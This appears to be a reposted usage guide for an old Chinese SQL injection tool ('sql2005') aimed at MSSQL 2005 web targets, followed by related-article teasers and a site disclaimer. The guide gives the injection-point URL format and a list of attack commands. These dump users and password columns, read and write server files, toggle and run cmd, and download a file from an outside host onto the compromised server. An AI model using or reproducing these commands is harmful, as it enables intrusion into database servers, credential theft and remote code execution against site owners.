程序说明: +========== =================== ================ ================ =========== + + made by tr4c
程序说明:
+========== =================== ================ ================ =========== +
+ made by tr4c3,modified by 无敌小黄瓜【bk瞬间群】 +
+========== =================== ================ ================ =========== +
--------------
url.txt内容为:
--------------
比如:http://www.google.com/fuck.asp?id=2<sqlinj点>;--
正在注入的是http://www.xxx.com/index.asp?id=1 <sqlinj点>;--
--------------
参数:
--------------
sql2005 info
sql2005 logbackup
sql2005 users
sql2005 localgroups
sql2005 sqlfile
sql2005 disk
sql2005 pubs clean
sql2005 c:\1.txt mm
sql2005 turn on/off
sql2005 c:\ dir
sql2005 ver cmd
sql2005 "select @@version" query
sql2005 http://fuck.av/hacker.gif c:\1.gif download
sql2005 databases
sql2005 pubs tables
sql2005 pubs authors cols
sql2005 pubs authors au_id values
sql2005 pubs authors au_id id name pass vv
+=====================+
url内容 //注意get方式的有个?
http://www.google.com/index.asp?
id=1'
;--
get
http://www.google.com/index.asp?
id=1'
;--
post
相关文章:
-
在mac上常用的抓包软件是charles,网上关于charles的教程很多,这里介绍另一个抓包神器mitmproxy。mitmproxy是一款可交互式的命令行抓包工具,它除了可以抓…
-
经常听到有朋友问,有没有比较好用的web日志安全分析工具?首先,我们应该清楚,日志文件不但可以帮助我们溯源,找到入侵者攻击路径,而且在平常的运维中,日志也可以反应出很多的安全攻击行…
-
-
web攻击在互联网中,攻击手段数不胜数,我们平时不能以自己只是普通的开发程序员而不是安全方向的开发者为理由,而不去掌握基本的 web 攻击手段!我们来熟悉一下有哪几种常见的 web…
-
原理产生:任意语言代码下载函数文件下载(一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是…
-
版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。
发表评论